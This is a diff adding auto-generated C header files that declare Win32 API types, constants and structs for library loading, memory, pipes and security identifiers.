unsigned int TagWord;
|
||||
unsigned int ErrorOffset;
|
||||
unsigned int ErrorSelector;
|
||||
unsigned int DataOffset;
|
||||
unsigned int DataSelector;
|
||||
unsigned char RegisterArea[80];
|
||||
unsigned int Spare0;
|
||||
} FLOATING_SAVE_AREA;
|
||||
|
||||
typedef struct _LIST_ENTRY64 {
|
||||
unsigned long long Flink;
|
||||
unsigned long long Blink;
|
||||
} LIST_ENTRY64;
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.System.LibraryLoader`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned long long ULONGLONG;
|
||||
typedef long LONG;
|
||||
typedef unsigned long ULONG;
|
||||
typedef int BOOL;
|
||||
typedef void* PVOID;
|
||||
typedef void* HANDLE;
|
||||
|
||||
#define FIND_RESOURCE_DIRECTORY_TYPES 0x100
|
||||
#define FIND_RESOURCE_DIRECTORY_NAMES 0x200
|
||||
#define FIND_RESOURCE_DIRECTORY_LANGUAGES 0x400
|
||||
#define RESOURCE_ENUM_LN 0x1
|
||||
#define RESOURCE_ENUM_MUI 0x2
|
||||
#define RESOURCE_ENUM_MUI_SYSTEM 0x4
|
||||
#define RESOURCE_ENUM_VALIDATE 0x8
|
||||
#define RESOURCE_ENUM_MODULE_EXACT 0x10
|
||||
#define SUPPORT_LANG_NUMBER 0x20
|
||||
#define GET_MODULE_HANDLE_EX_FLAG_PIN 0x1
|
||||
#define GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT 0x2
|
||||
#define GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS 0x4
|
||||
#define CURRENT_IMPORT_REDIRECTION_VERSION 0x1
|
||||
#define LOAD_LIBRARY_OS_INTEGRITY_CONTINUITY 0x8000
|
||||
#define DONT_RESOLVE_DLL_REFERENCES 0x1
|
||||
#define LOAD_LIBRARY_AS_DATAFILE 0x2
|
||||
#define LOAD_WITH_ALTERED_SEARCH_PATH 0x8
|
||||
#define LOAD_IGNORE_CODE_AUTHZ_LEVEL 0x10
|
||||
#define LOAD_LIBRARY_AS_IMAGE_RESOURCE 0x20
|
||||
#define LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE 0x40
|
||||
#define LOAD_LIBRARY_REQUIRE_SIGNED_TARGET 0x80
|
||||
#define LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR 0x100
|
||||
#define LOAD_LIBRARY_SEARCH_APPLICATION_DIR 0x200
|
||||
#define LOAD_LIBRARY_SEARCH_USER_DIRS 0x400
|
||||
#define LOAD_LIBRARY_SEARCH_SYSTEM32 0x800
|
||||
#define LOAD_LIBRARY_SEARCH_DEFAULT_DIRS 0x1000
|
||||
#define LOAD_LIBRARY_SAFE_CURRENT_DIRS 0x2000
|
||||
#define LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER 0x4000
|
||||
|
||||
typedef struct _ENUMUILANG {
|
||||
unsigned int NumOfEnumUILang;
|
||||
unsigned int SizeOfEnumUIBuffer;
|
||||
void* pEnumUIBuffer;
|
||||
} ENUMUILANG;
|
||||
|
||||
typedef struct _REDIRECTION_DESCRIPTOR {
|
||||
unsigned int Version;
|
||||
unsigned int FunctionCount;
|
||||
void* Redirections;
|
||||
} REDIRECTION_DESCRIPTOR;
|
||||
|
||||
typedef struct _REDIRECTION_FUNCTION_DESCRIPTOR {
|
||||
void* DllName;
|
||||
void* FunctionName;
|
||||
void* RedirectionTarget;
|
||||
} REDIRECTION_FUNCTION_DESCRIPTOR;
|
||||
|
||||
@@ -0,0 +1,305 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.System.Memory`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned long long ULONGLONG;
|
||||
typedef long LONG;
|
||||
typedef unsigned long ULONG;
|
||||
typedef int BOOL;
|
||||
typedef void* PVOID;
|
||||
typedef void* HANDLE;
|
||||
|
||||
#define FILE_CACHE_MAX_HARD_ENABLE 0x1
|
||||
#define FILE_CACHE_MAX_HARD_DISABLE 0x2
|
||||
#define FILE_CACHE_MIN_HARD_ENABLE 0x4
|
||||
#define FILE_CACHE_MIN_HARD_DISABLE 0x8
|
||||
#define MEHC_PATROL_SCRUBBER_PRESENT 0x1
|
||||
#define WIN32_MEMORY_NUMA_PERFORMANCE_ALL_TARGET_NODE 0xffffffff
|
||||
#define WIN32_MEMORY_NUMA_PERFORMANCE_READ_LATENCY 0x1
|
||||
#define WIN32_MEMORY_NUMA_PERFORMANCE_READ_BANDWIDTH 0x2
|
||||
#define WIN32_MEMORY_NUMA_PERFORMANCE_WRITE_LATENCY 0x4
|
||||
#define WIN32_MEMORY_NUMA_PERFORMANCE_WRITE_BANDWIDTH 0x8
|
||||
#define VmOfferPriorityVeryLow 1
|
||||
#define VmOfferPriorityLow 2
|
||||
#define VmOfferPriorityBelowNormal 3
|
||||
#define VmOfferPriorityNormal 4
|
||||
#define MEM_COMMIT 0x1000
|
||||
#define MEM_RESERVE 0x2000
|
||||
#define MEM_RESET 0x80000
|
||||
#define MEM_RESET_UNDO 0x1000000
|
||||
#define MEM_REPLACE_PLACEHOLDER 0x4000
|
||||
#define MEM_LARGE_PAGES 0x20000000
|
||||
#define MEM_RESERVE_PLACEHOLDER 0x40000
|
||||
#define MEM_FREE 0x10000
|
||||
#define QUOTA_LIMITS_HARDWS_MIN_ENABLE 0x1
|
||||
#define QUOTA_LIMITS_HARDWS_MIN_DISABLE 0x2
|
||||
#define QUOTA_LIMITS_HARDWS_MAX_ENABLE 0x4
|
||||
#define QUOTA_LIMITS_HARDWS_MAX_DISABLE 0x8
|
||||
#define GHND 0x42
|
||||
#define GMEM_FIXED 0x0
|
||||
#define GMEM_MOVEABLE 0x2
|
||||
#define GMEM_ZEROINIT 0x40
|
||||
#define GPTR 0x40
|
||||
#define MEM_PRIVATE 0x20000
|
||||
#define MEM_MAPPED 0x40000
|
||||
#define MEM_IMAGE 0x1000000
|
||||
#define MemDedicatedAttributeReadBandwidth 0
|
||||
#define MemDedicatedAttributeReadLatency 1
|
||||
#define MemDedicatedAttributeWriteBandwidth 2
|
||||
#define MemDedicatedAttributeWriteLatency 3
|
||||
#define MemDedicatedAttributeMax 4
|
||||
#define MemExtendedParameterInvalidType 0
|
||||
#define MemExtendedParameterAddressRequirements 1
|
||||
#define MemExtendedParameterNumaNode 2
|
||||
#define MemExtendedParameterPartitionHandle 3
|
||||
#define MemExtendedParameterUserPhysicalHandle 4
|
||||
#define MemExtendedParameterAttributeFlags 5
|
||||
#define MemExtendedParameterImageMachine 6
|
||||
#define MemExtendedParameterMax 7
|
||||
#define MEM_DECOMMIT 0x4000
|
||||
#define MEM_RELEASE 0x8000
|
||||
#define PAGE_NOACCESS 0x1
|
||||
#define PAGE_READONLY 0x2
|
||||
#define PAGE_READWRITE 0x4
|
||||
#define PAGE_WRITECOPY 0x8
|
||||
#define PAGE_EXECUTE 0x10
|
||||
#define PAGE_EXECUTE_READ 0x20
|
||||
#define PAGE_EXECUTE_READWRITE 0x40
|
||||
#define PAGE_EXECUTE_WRITECOPY 0x80
|
||||
#define PAGE_GUARD 0x100
|
||||
#define PAGE_NOCACHE 0x200
|
||||
#define PAGE_WRITECOMBINE 0x400
|
||||
#define PAGE_GRAPHICS_NOACCESS 0x800
|
||||
#define PAGE_GRAPHICS_READONLY 0x1000
|
||||
#define PAGE_GRAPHICS_READWRITE 0x2000
|
||||
#define PAGE_GRAPHICS_EXECUTE 0x4000
|
||||
#define PAGE_GRAPHICS_EXECUTE_READ 0x8000
|
||||
#define PAGE_GRAPHICS_EXECUTE_READWRITE 0x10000
|
||||
#define PAGE_GRAPHICS_COHERENT 0x20000
|
||||
#define PAGE_GRAPHICS_NOCACHE 0x40000
|
||||
#define PAGE_ENCLAVE_THREAD_CONTROL 0x80000000
|
||||
#define PAGE_REVERT_TO_FILE_MAP 0x80000000
|
||||
#define PAGE_TARGETS_NO_UPDATE 0x40000000
|
||||
#define PAGE_TARGETS_INVALID 0x40000000
|
||||
#define PAGE_ENCLAVE_UNVALIDATED 0x20000000
|
||||
#define PAGE_ENCLAVE_MASK 0x10000000
|
||||
#define PAGE_ENCLAVE_DECOMMIT 0x10000000
|
||||
#define PAGE_ENCLAVE_SS_FIRST 0x10000001
|
||||
#define PAGE_ENCLAVE_SS_REST 0x10000002
|
||||
#define SEC_PARTITION_OWNER_HANDLE 0x40000
|
||||
#define SEC_64K_PAGES 0x80000
|
||||
#define SEC_FILE 0x800000
|
||||
#define SEC_IMAGE 0x1000000
|
||||
#define SEC_PROTECTED_IMAGE 0x2000000
|
||||
#define SEC_RESERVE 0x4000000
|
||||
#define SEC_COMMIT 0x8000000
|
||||
#define SEC_NOCACHE 0x10000000
|
||||
#define SEC_WRITECOMBINE 0x40000000
|
||||
#define SEC_LARGE_PAGES 0x80000000
|
||||
#define SEC_IMAGE_NO_EXECUTE 0x11000000
|
||||
#define MemSectionExtendedParameterInvalidType 0
|
||||
#define MemSectionExtendedParameterUserPhysicalFlags 1
|
||||
#define MemSectionExtendedParameterNumaNode 2
|
||||
#define MemSectionExtendedParameterSigningLevel 3
|
||||
#define MemSectionExtendedParameterMax 4
|
||||
#define HEAP_NONE 0x0
|
||||
#define HEAP_NO_SERIALIZE 0x1
|
||||
#define HEAP_GROWABLE 0x2
|
||||
#define HEAP_GENERATE_EXCEPTIONS 0x4
|
||||
#define HEAP_ZERO_MEMORY 0x8
|
||||
#define HEAP_REALLOC_IN_PLACE_ONLY 0x10
|
||||
#define HEAP_TAIL_CHECKING_ENABLED 0x20
|
||||
#define HEAP_FREE_CHECKING_ENABLED 0x40
|
||||
#define HEAP_DISABLE_COALESCE_ON_FREE 0x80
|
||||
#define HEAP_CREATE_ALIGN_16 0x10000
|
||||
#define HEAP_CREATE_ENABLE_TRACING 0x20000
|
||||
#define HEAP_CREATE_ENABLE_EXECUTE 0x40000
|
||||
#define HEAP_MAXIMUM_TAG 0xfff
|
||||
#define HEAP_PSEUDO_TAG_FLAG 0x8000
|
||||
#define HEAP_TAG_SHIFT 0x12
|
||||
#define HEAP_CREATE_SEGMENT_HEAP 0x100
|
||||
#define HEAP_CREATE_HARDENED 0x200
|
||||
#define MEM_UNMAP_NONE 0x0
|
||||
#define MEM_UNMAP_WITH_TRANSIENT_BOOST 0x1
|
||||
#define MEM_PRESERVE_PLACEHOLDER 0x2
|
||||
#define MemoryPartitionInfo 0
|
||||
#define MemoryPartitionDedicatedMemoryInfo 1
|
||||
#define LHND 0x42
|
||||
#define LMEM_FIXED 0x0
|
||||
#define LMEM_MOVEABLE 0x2
|
||||
#define LMEM_ZEROINIT 0x40
|
||||
#define LPTR 0x40
|
||||
#define NONZEROLHND 0x2
|
||||
#define NONZEROLPTR 0x0
|
||||
#define MemoryRegionInfo 0
|
||||
#define FILE_MAP_WRITE 0x2
|
||||
#define FILE_MAP_READ 0x4
|
||||
#define FILE_MAP_ALL_ACCESS 0xf001f
|
||||
#define FILE_MAP_EXECUTE 0x20
|
||||
#define FILE_MAP_COPY 0x1
|
||||
#define FILE_MAP_RESERVE 0x80000000
|
||||
#define FILE_MAP_TARGETS_INVALID 0x40000000
|
||||
#define FILE_MAP_LARGE_PAGES 0x20000000
|
||||
#define LowMemoryResourceNotification 0
|
||||
#define HighMemoryResourceNotification 1
|
||||
#define SECTION_ALL_ACCESS 0xf001f
|
||||
#define SECTION_QUERY 0x1
|
||||
#define SECTION_MAP_WRITE 0x2
|
||||
#define SECTION_MAP_READ 0x4
|
||||
#define SECTION_MAP_EXECUTE 0x8
|
||||
#define SECTION_EXTEND_SIZE 0x10
|
||||
#define SECTION_MAP_EXECUTE_EXPLICIT 0x20
|
||||
#define HeapCompatibilityInformation 0
|
||||
#define HeapEnableTerminationOnCorruption 1
|
||||
#define HeapOptimizeResources 3
|
||||
#define HeapTag 7
|
||||
|
||||
typedef struct _PROCESS_HEAP_ENTRY {
|
||||
void* lpData;
|
||||
unsigned int cbData;
|
||||
unsigned char cbOverhead;
|
||||
unsigned char iRegionIndex;
|
||||
unsigned short wFlags;
|
||||
void* Anonymous;
|
||||
} PROCESS_HEAP_ENTRY;
|
||||
|
||||
typedef struct _MEMORY_BASIC_INFORMATION32 {
|
||||
unsigned int BaseAddress;
|
||||
unsigned int AllocationBase;
|
||||
void* AllocationProtect;
|
||||
unsigned int RegionSize;
|
||||
void* State;
|
||||
void* Protect;
|
||||
void* Type;
|
||||
} MEMORY_BASIC_INFORMATION32;
|
||||
|
||||
typedef struct _MEM_EXTENDED_PARAMETER {
|
||||
void* Anonymous1;
|
||||
void* Anonymous2;
|
||||
} MEM_EXTENDED_PARAMETER;
|
||||
|
||||
typedef struct _WIN32_MEMORY_REGION_INFORMATION {
|
||||
void* AllocationBase;
|
||||
unsigned int AllocationProtect;
|
||||
void* Anonymous;
|
||||
unsigned long long RegionSize;
|
||||
unsigned long long CommitSize;
|
||||
} WIN32_MEMORY_REGION_INFORMATION;
|
||||
|
||||
typedef struct _MEMORY_PARTITION_DEDICATED_MEMORY_ATTRIBUTE {
|
||||
void* Type;
|
||||
unsigned int Reserved;
|
||||
unsigned long long Value;
|
||||
} MEMORY_PARTITION_DEDICATED_MEMORY_ATTRIBUTE;
|
||||
|
||||
typedef struct _MEMORY_BASIC_INFORMATION {
|
||||
void* BaseAddress;
|
||||
void* AllocationBase;
|
||||
void* AllocationProtect;
|
||||
unsigned short PartitionId;
|
||||
unsigned long long RegionSize;
|
||||
void* State;
|
||||
void* Protect;
|
||||
void* Type;
|
||||
} MEMORY_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _MEMORY_BASIC_INFORMATION {
|
||||
void* BaseAddress;
|
||||
void* AllocationBase;
|
||||
void* AllocationProtect;
|
||||
unsigned long long RegionSize;
|
||||
void* State;
|
||||
void* Protect;
|
||||
void* Type;
|
||||
} MEMORY_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _WIN32_MEMORY_NUMA_PERFORMANCE_INFORMATION_OUTPUT {
|
||||
unsigned int EntryCount;
|
||||
void* PerformanceEntries[1];
|
||||
} WIN32_MEMORY_NUMA_PERFORMANCE_INFORMATION_OUTPUT;
|
||||
|
||||
typedef struct _MEM_ADDRESS_REQUIREMENTS {
|
||||
void* LowestStartingAddress;
|
||||
void* HighestEndingAddress;
|
||||
unsigned long long Alignment;
|
||||
} MEM_ADDRESS_REQUIREMENTS;
|
||||
|
||||
typedef struct _WIN32_MEMORY_PARTITION_INFORMATION {
|
||||
unsigned int Flags;
|
||||
unsigned int NumaNode;
|
||||
unsigned int Channel;
|
||||
unsigned int NumberOfNumaNodes;
|
||||
unsigned long long ResidentAvailablePages;
|
||||
unsigned long long CommittedPages;
|
||||
unsigned long long CommitLimit;
|
||||
unsigned long long PeakCommitment;
|
||||
unsigned long long TotalNumberOfPages;
|
||||
unsigned long long AvailablePages;
|
||||
unsigned long long ZeroPages;
|
||||
unsigned long long FreePages;
|
||||
unsigned long long StandbyPages;
|
||||
unsigned long long Reserved[16];
|
||||
unsigned long long MaximumCommitLimit;
|
||||
unsigned long long Reserved2;
|
||||
unsigned int PartitionId;
|
||||
} WIN32_MEMORY_PARTITION_INFORMATION;
|
||||
|
||||
typedef struct _MEMORY_PARTITION_DEDICATED_MEMORY_INFORMATION {
|
||||
unsigned int NextEntryOffset;
|
||||
unsigned int SizeOfInformation;
|
||||
unsigned int Flags;
|
||||
unsigned int AttributesOffset;
|
||||
unsigned int AttributeCount;
|
||||
unsigned int Reserved;
|
||||
unsigned long long TypeId;
|
||||
} MEMORY_PARTITION_DEDICATED_MEMORY_INFORMATION;
|
||||
|
||||
typedef struct _HEAP_SUMMARY {
|
||||
unsigned int cb;
|
||||
unsigned long long cbAllocated;
|
||||
unsigned long long cbCommitted;
|
||||
unsigned long long cbReserved;
|
||||
unsigned long long cbMaxReserve;
|
||||
} HEAP_SUMMARY;
|
||||
|
||||
typedef struct _AtlThunkData_t {
|
||||
long long Value;
|
||||
} AtlThunkData_t;
|
||||
|
||||
typedef struct _WIN32_MEMORY_RANGE_ENTRY {
|
||||
void* VirtualAddress;
|
||||
unsigned long long NumberOfBytes;
|
||||
} WIN32_MEMORY_RANGE_ENTRY;
|
||||
|
||||
typedef struct _MEMORY_BASIC_INFORMATION64 {
|
||||
unsigned long long BaseAddress;
|
||||
unsigned long long AllocationBase;
|
||||
void* AllocationProtect;
|
||||
unsigned int __alignment1;
|
||||
unsigned long long RegionSize;
|
||||
void* State;
|
||||
void* Protect;
|
||||
void* Type;
|
||||
unsigned int __alignment2;
|
||||
} MEMORY_BASIC_INFORMATION64;
|
||||
|
||||
typedef struct _CFG_CALL_TARGET_INFO {
|
||||
unsigned long long Offset;
|
||||
unsigned long long Flags;
|
||||
} CFG_CALL_TARGET_INFO;
|
||||
|
||||
typedef struct _MEMORY_MAPPED_VIEW_ADDRESS {
|
||||
void* Value;
|
||||
} MEMORY_MAPPED_VIEW_ADDRESS;
|
||||
|
||||
typedef struct _WIN32_MEMORY_NUMA_PERFORMANCE_ENTRY {
|
||||
unsigned int InitiatorNodeNumber;
|
||||
unsigned int TargetNodeNumber;
|
||||
unsigned char DataType;
|
||||
void* Flags;
|
||||
unsigned long long MinTransferSizeInBytes;
|
||||
unsigned long long EntryValue;
|
||||
} WIN32_MEMORY_NUMA_PERFORMANCE_ENTRY;
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.System.Pipes`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned long long ULONGLONG;
|
||||
typedef long LONG;
|
||||
typedef unsigned long ULONG;
|
||||
typedef int BOOL;
|
||||
typedef void* PVOID;
|
||||
typedef void* HANDLE;
|
||||
|
||||
#define PIPE_UNLIMITED_INSTANCES 0xff
|
||||
#define NMPWAIT_WAIT_FOREVER 0xffffffff
|
||||
#define NMPWAIT_NOWAIT 0x1
|
||||
#define NMPWAIT_USE_DEFAULT_WAIT 0x0
|
||||
#define PIPE_WAIT 0x0
|
||||
#define PIPE_NOWAIT 0x1
|
||||
#define PIPE_READMODE_BYTE 0x0
|
||||
#define PIPE_READMODE_MESSAGE 0x2
|
||||
#define PIPE_CLIENT_END 0x0
|
||||
#define PIPE_SERVER_END 0x1
|
||||
#define PIPE_TYPE_BYTE 0x0
|
||||
#define PIPE_TYPE_MESSAGE 0x4
|
||||
#define PIPE_ACCEPT_REMOTE_CLIENTS 0x0
|
||||
#define PIPE_REJECT_REMOTE_CLIENTS 0x8
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,890 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.Security`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned long long ULONGLONG;
|
||||
typedef long LONG;
|
||||
typedef unsigned long ULONG;
|
||||
typedef int BOOL;
|
||||
typedef void* PVOID;
|
||||
typedef void* HANDLE;
|
||||
|
||||
#define SECURITY_DYNAMIC_TRACKING 0x1
|
||||
#define SECURITY_STATIC_TRACKING 0x0
|
||||
#define SECURITY_MAX_SID_SIZE 0x44
|
||||
// SKIPPED const SE_CREATE_TOKEN_NAME: non-integer constant
|
||||
// SKIPPED const SE_ASSIGNPRIMARYTOKEN_NAME: non-integer constant
|
||||
// SKIPPED const SE_LOCK_MEMORY_NAME: non-integer constant
|
||||
// SKIPPED const SE_INCREASE_QUOTA_NAME: non-integer constant
|
||||
// SKIPPED const SE_UNSOLICITED_INPUT_NAME: non-integer constant
|
||||
// SKIPPED const SE_MACHINE_ACCOUNT_NAME: non-integer constant
|
||||
// SKIPPED const SE_TCB_NAME: non-integer constant
|
||||
// SKIPPED const SE_SECURITY_NAME: non-integer constant
|
||||
// SKIPPED const SE_TAKE_OWNERSHIP_NAME: non-integer constant
|
||||
// SKIPPED const SE_LOAD_DRIVER_NAME: non-integer constant
|
||||
// SKIPPED const SE_SYSTEM_PROFILE_NAME: non-integer constant
|
||||
// SKIPPED const SE_SYSTEMTIME_NAME: non-integer constant
|
||||
// SKIPPED const SE_PROF_SINGLE_PROCESS_NAME: non-integer constant
|
||||
// SKIPPED const SE_INC_BASE_PRIORITY_NAME: non-integer constant
|
||||
// SKIPPED const SE_CREATE_PAGEFILE_NAME: non-integer constant
|
||||
// SKIPPED const SE_CREATE_PERMANENT_NAME: non-integer constant
|
||||
// SKIPPED const SE_BACKUP_NAME: non-integer constant
|
||||
// SKIPPED const SE_RESTORE_NAME: non-integer constant
|
||||
// SKIPPED const SE_SHUTDOWN_NAME: non-integer constant
|
||||
// SKIPPED const SE_DEBUG_NAME: non-integer constant
|
||||
// SKIPPED const SE_AUDIT_NAME: non-integer constant
|
||||
// SKIPPED const SE_SYSTEM_ENVIRONMENT_NAME: non-integer constant
|
||||
// SKIPPED const SE_CHANGE_NOTIFY_NAME: non-integer constant
|
||||
// SKIPPED const SE_REMOTE_SHUTDOWN_NAME: non-integer constant
|
||||
// SKIPPED const SE_UNDOCK_NAME: non-integer constant
|
||||
// SKIPPED const SE_SYNC_AGENT_NAME: non-integer constant
|
||||
// SKIPPED const SE_ENABLE_DELEGATION_NAME: non-integer constant
|
||||
// SKIPPED const SE_MANAGE_VOLUME_NAME: non-integer constant
|
||||
// SKIPPED const SE_IMPERSONATE_NAME: non-integer constant
|
||||
// SKIPPED const SE_CREATE_GLOBAL_NAME: non-integer constant
|
||||
// SKIPPED const SE_TRUSTED_CREDMAN_ACCESS_NAME: non-integer constant
|
||||
// SKIPPED const SE_RELABEL_NAME: non-integer constant
|
||||
// SKIPPED const SE_INC_WORKING_SET_NAME: non-integer constant
|
||||
// SKIPPED const SE_TIME_ZONE_NAME: non-integer constant
|
||||
// SKIPPED const SE_CREATE_SYMBOLIC_LINK_NAME: non-integer constant
|
||||
// SKIPPED const SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME: non-integer constant
|
||||
// SKIPPED const wszCERTENROLLSHAREPATH: non-integer constant
|
||||
#define cwcHRESULTSTRING 0x28
|
||||
// SKIPPED const szLBRACE: non-integer constant
|
||||
// SKIPPED const szRBRACE: non-integer constant
|
||||
// SKIPPED const wszLBRACE: non-integer constant
|
||||
// SKIPPED const wszRBRACE: non-integer constant
|
||||
// SKIPPED const szLPAREN: non-integer constant
|
||||
// SKIPPED const szRPAREN: non-integer constant
|
||||
// SKIPPED const wszLPAREN: non-integer constant
|
||||
// SKIPPED const wszRPAREN: non-integer constant
|
||||
#define CVT_SECONDS 0x1
|
||||
#define cwcFILENAMESUFFIXMAX 0x14
|
||||
// SKIPPED const wszFCSAPARM_SERVERDNSNAME: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_SERVERSHORTNAME: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_SANITIZEDCANAME: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_CERTFILENAMESUFFIX: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_DOMAINDN: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_CONFIGDN: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_SANITIZEDCANAMEHASH: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_CRLFILENAMESUFFIX: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_CRLDELTAFILENAMESUFFIX: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_DSCRLATTRIBUTE: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_DSCACERTATTRIBUTE: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_DSUSERCERTATTRIBUTE: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_DSKRACERTATTRIBUTE: non-integer constant
|
||||
// SKIPPED const wszFCSAPARM_DSCROSSCERTPAIRATTRIBUTE: non-integer constant
|
||||
#define SIGNING_LEVEL_FILE_CACHE_FLAG_NOT_VALIDATED 0x1
|
||||
#define SIGNING_LEVEL_FILE_CACHE_FLAG_VALIDATE_ONLY 0x4
|
||||
#define SIGNING_LEVEL_MICROSOFT 0x8
|
||||
#define SEF_AVOID_OWNER_CHECK 0x10
|
||||
#define SEF_AVOID_OWNER_RESTRICTION 0x1000
|
||||
#define SEF_AVOID_PRIVILEGE_CHECK 0x8
|
||||
#define SEF_DACL_AUTO_INHERIT 0x1
|
||||
#define SEF_DEFAULT_DESCRIPTOR_FOR_OBJECT 0x4
|
||||
#define SEF_DEFAULT_GROUP_FROM_PARENT 0x40
|
||||
#define SEF_DEFAULT_OWNER_FROM_PARENT 0x20
|
||||
#define SEF_MACL_NO_EXECUTE_UP 0x400
|
||||
#define SEF_MACL_NO_READ_UP 0x200
|
||||
#define SEF_MACL_NO_WRITE_UP 0x100
|
||||
#define SEF_SACL_AUTO_INHERIT 0x2
|
||||
#define TOKEN_MANDATORY_POLICY_OFF 0x0
|
||||
#define TOKEN_MANDATORY_POLICY_NO_WRITE_UP 0x1
|
||||
#define TOKEN_MANDATORY_POLICY_NEW_PROCESS_MIN 0x2
|
||||
#define TOKEN_MANDATORY_POLICY_VALID_MASK 0x3
|
||||
#define ACE_OBJECT_TYPE_PRESENT 0x1
|
||||
#define ACE_INHERITED_OBJECT_TYPE_PRESENT 0x2
|
||||
#define ENUM_PERIOD_INVALID -1
|
||||
#define ENUM_PERIOD_SECONDS 0
|
||||
#define ENUM_PERIOD_MINUTES 1
|
||||
#define ENUM_PERIOD_HOURS 2
|
||||
#define ENUM_PERIOD_DAYS 3
|
||||
#define ENUM_PERIOD_WEEKS 4
|
||||
#define ENUM_PERIOD_MONTHS 5
|
||||
#define ENUM_PERIOD_YEARS 6
|
||||
#define WinNullSid 0
|
||||
#define WinWorldSid 1
|
||||
#define WinLocalSid 2
|
||||
#define WinCreatorOwnerSid 3
|
||||
#define WinCreatorGroupSid 4
|
||||
#define WinCreatorOwnerServerSid 5
|
||||
#define WinCreatorGroupServerSid 6
|
||||
#define WinNtAuthoritySid 7
|
||||
#define WinDialupSid 8
|
||||
#define WinNetworkSid 9
|
||||
#define WinBatchSid 10
|
||||
#define WinInteractiveSid 11
|
||||
#define WinServiceSid 12
|
||||
#define WinAnonymousSid 13
|
||||
#define WinProxySid 14
|
||||
#define WinEnterpriseControllersSid 15
|
||||
#define WinSelfSid 16
|
||||
#define WinAuthenticatedUserSid 17
|
||||
#define WinRestrictedCodeSid 18
|
||||
#define WinTerminalServerSid 19
|
||||
#define WinRemoteLogonIdSid 20
|
||||
#define WinLogonIdsSid 21
|
||||
#define WinLocalSystemSid 22
|
||||
#define WinLocalServiceSid 23
|
||||
#define WinNetworkServiceSid 24
|
||||
#define WinBuiltinDomainSid 25
|
||||
#define WinBuiltinAdministratorsSid 26
|
||||
#define WinBuiltinUsersSid 27
|
||||
#define WinBuiltinGuestsSid 28
|
||||
#define WinBuiltinPowerUsersSid 29
|
||||
#define WinBuiltinAccountOperatorsSid 30
|
||||
#define WinBuiltinSystemOperatorsSid 31
|
||||
#define WinBuiltinPrintOperatorsSid 32
|
||||
#define WinBuiltinBackupOperatorsSid 33
|
||||
#define WinBuiltinReplicatorSid 34
|
||||
#define WinBuiltinPreWindows2000CompatibleAccessSid 35
|
||||
#define WinBuiltinRemoteDesktopUsersSid 36
|
||||
#define WinBuiltinNetworkConfigurationOperatorsSid 37
|
||||
#define WinAccountAdministratorSid 38
|
||||
#define WinAccountGuestSid 39
|
||||
#define WinAccountKrbtgtSid 40
|
||||
#define WinAccountDomainAdminsSid 41
|
||||
#define WinAccountDomainUsersSid 42
|
||||
#define WinAccountDomainGuestsSid 43
|
||||
#define WinAccountComputersSid 44
|
||||
#define WinAccountControllersSid 45
|
||||
#define WinAccountCertAdminsSid 46
|
||||
#define WinAccountSchemaAdminsSid 47
|
||||
#define WinAccountEnterpriseAdminsSid 48
|
||||
#define WinAccountPolicyAdminsSid 49
|
||||
#define WinAccountRasAndIasServersSid 50
|
||||
#define WinNTLMAuthenticationSid 51
|
||||
#define WinDigestAuthenticationSid 52
|
||||
#define WinSChannelAuthenticationSid 53
|
||||
#define WinThisOrganizationSid 54
|
||||
#define WinOtherOrganizationSid 55
|
||||
#define WinBuiltinIncomingForestTrustBuildersSid 56
|
||||
#define WinBuiltinPerfMonitoringUsersSid 57
|
||||
#define WinBuiltinPerfLoggingUsersSid 58
|
||||
#define WinBuiltinAuthorizationAccessSid 59
|
||||
#define WinBuiltinTerminalServerLicenseServersSid 60
|
||||
#define WinBuiltinDCOMUsersSid 61
|
||||
#define WinBuiltinIUsersSid 62
|
||||
#define WinIUserSid 63
|
||||
#define WinBuiltinCryptoOperatorsSid 64
|
||||
#define WinUntrustedLabelSid 65
|
||||
#define WinLowLabelSid 66
|
||||
#define WinMediumLabelSid 67
|
||||
#define WinHighLabelSid 68
|
||||
#define WinSystemLabelSid 69
|
||||
#define WinWriteRestrictedCodeSid 70
|
||||
#define WinCreatorOwnerRightsSid 71
|
||||
#define WinCacheablePrincipalsGroupSid 72
|
||||
#define WinNonCacheablePrincipalsGroupSid 73
|
||||
#define WinEnterpriseReadonlyControllersSid 74
|
||||
#define WinAccountReadonlyControllersSid 75
|
||||
#define WinBuiltinEventLogReadersGroup 76
|
||||
#define WinNewEnterpriseReadonlyControllersSid 77
|
||||
